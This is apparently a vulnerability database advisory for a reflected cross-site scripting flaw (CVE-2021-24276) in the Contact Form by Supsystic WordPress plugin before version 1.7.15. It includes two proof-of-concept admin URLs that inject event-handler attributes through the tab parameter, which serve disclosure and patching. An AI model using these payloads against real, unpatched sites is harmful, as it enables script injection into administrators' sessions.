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WordPress Plugin Vulnerabilities

Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS)

Description

The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

Proof of Concept

/wp-admin/admin.php?page=contact-form-supsystic&tab="onmouseover=alert(1)//

/wp-admin/admin.php?page=contact-form-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Affects Plugins

contact-form-by-supsystic
Fixed in version 1.7.15

References

CVE
CVE-2021-24276

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

0xB9

Submitter

0xB9

Submitter twitter
0xB9sec
Verified

Yes

WPVDB ID
1301123c-5e63-432a-ab90-3221ca532d9c

Timeline

Publicly Published

2021-04-19 (about 1 years ago)

Added

2021-04-19 (about 1 years ago)

Last Updated

2021-04-20 (about 1 years ago)

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